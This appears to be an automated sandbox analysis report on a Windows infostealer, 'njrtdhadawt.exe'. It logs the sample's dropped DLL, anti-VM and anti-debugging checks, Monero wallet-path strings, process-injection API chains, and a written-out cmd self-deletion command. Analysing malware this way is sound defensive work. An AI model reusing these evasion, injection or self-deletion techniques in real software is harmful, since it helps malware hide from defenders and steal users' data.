Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD52290	0_2_6CD52290
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD613D6	0_2_6CD613D6
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD6F340	0_2_6CD6F340

Source: Joe Sandbox View

Dropped File: C:\ProgramData\chrome.dll 81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: String function: 6CD6FDB0 appears 38 times
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: String function: 6CD61380 appears 33 times
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: String function: 00FE47D9 appears 38 times
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: String function: 6CD5D850 appears 90 times
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: String function: 00FF082C appears 69 times
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: String function: 00FF070A appears 36 times

Source: njrtdhadawt.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/3@2/2

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF16C8 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00FF16C8

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF197A __ehhandler$?_Copy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEXII@Z,__EH_prolog3_catch,CoCreateInstance,SysAllocString,_wtoi64,SysFreeString,SysFreeString,

0_2_00FF197A

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\76561199794498376[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File created: C:\Users\user~1\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: njrtdhadawt.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: njrtdhadawt.exe

ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\njrtdhadawt.exe "C:\Users\user\Desktop\njrtdhadawt.exe"
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source:	Binary string: my_library.pdbU source: njrtdhadawt.exe, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: njrtdhadawt.exe, chrome.dll.0.dr

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF80C5 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00FF80C5

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FFD855 push ecx; ret	0_2_00FFD868
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_0100EBE2 push ecx; ret	0_2_0100EBF5
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_010027D9 push esi; ret	0_2_010027DB
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD6DE51 push ecx; ret	0_2_6CD6DE64

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File created: C:\ProgramData\chrome.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process created: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process created: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit			Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

0_2_00FF80C5

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: njrtdhadawt.exe, type: SAMPLE
Source: Yara match	File source: 0.2.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: njrtdhadawt.exe PID: 6420, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: njrtdhadawt.exe	Binary or memory string: DIR_WATCH.DLL
Source: njrtdhadawt.exe	Binary or memory string: SBIEDLL.DLL
Source: njrtdhadawt.exe	Binary or memory string: API_LOG.DLL
Source: njrtdhadawt.exe	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:38:1216:38:1216:38:1216:38:1216:38:1216:38:12DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

0_2_00FE17FD

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Dropped PE file which has not been started: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\timeout.exe TID: 7728

Thread sleep count: 82 > 30

Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF0FFE GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00FF1111h

0_2_00FF0FFE

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEC087 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FEC087
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF61AE wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FF61AE
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEBA79 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FEBA79
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF5CE8 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00FF5CE8
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE9DAF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,_memset,lstrcatA,lstrcatA,lstrcatA,_memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FE9DAF
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE1D70 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FE1D70
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FECEEB wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FECEEB
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF4EA5 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	0_2_00FF4EA5
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF561A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00FF561A
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FED77A FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FED77A
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FEB719 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FEB719
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD6717D FindFirstFileExW,	0_2_6CD6717D

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF531F GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_00FF531F

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF11DD GetSystemInfo,wsprintfA,

0_2_00FF11DD

Source: njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003A27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:ocal
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.000000000394E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.000000000394E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: njrtdhadawt.exe, 00000000.00000002.1551342830.000000000394E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\

Source: C:\Users\user\Desktop\njrtdhadawt.exe	API call chain: ExitProcess graph end node	graph_0-57233
Source: C:\Users\user\Desktop\njrtdhadawt.exe	API call chain: ExitProcess graph end node	graph_0-57218
Source: C:\Users\user\Desktop\njrtdhadawt.exe	API call chain: ExitProcess graph end node	graph_0-58343

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FFCAB4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00FFCAB4

Source: C:\Users\user\Desktop\njrtdhadawt.exe

0_2_00FF80C5

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE149D mov eax, dword ptr fs:[00000030h]	0_2_00FE149D
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF801C mov eax, dword ptr fs:[00000030h]	0_2_00FF801C
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF801B mov eax, dword ptr fs:[00000030h]	0_2_00FF801B
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE1492 mov eax, dword ptr fs:[00000030h]	0_2_00FE1492
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FE147A mov eax, dword ptr fs:[00000030h]	0_2_00FE147A

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FEE883 strtok_s,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,StrStrA,lstrlenA,StrStrA,lstrlenA,StrStrA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,strtok_s,lstrlenA,

0_2_00FEE883

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_010070CE SetUnhandledExceptionFilter,	0_2_010070CE
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FFCAB4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00FFCAB4
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FFD42C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00FFD42C
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD66ACC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CD66ACC
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD61726 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CD61726
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_6CD611FD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CD611FD

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: njrtdhadawt.exe PID: 6420, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FEF840 _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_00FEF840

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF287A __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_00FF287A
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF29DE CreateToolhelp32Snapshot,Process32First,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,	0_2_00FF29DE
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: 0_2_00FF2951 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	0_2_00FF2951

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10			Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FE118E cpuid

0_2_00FE118E

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	0_2_00FF0FFE
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: GetLocaleInfoA,	0_2_0100E144
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	0_2_0100980E
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	0_2_0100E00F
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_01007016
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0100B020
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_01008864
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0100B087
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	0_2_0100B0C3
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0100AB6C
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	0_2_0100AD08
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	0_2_0100AD63
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	0_2_0100A5E0
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	0_2_0100AC61
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	0_2_010094F0
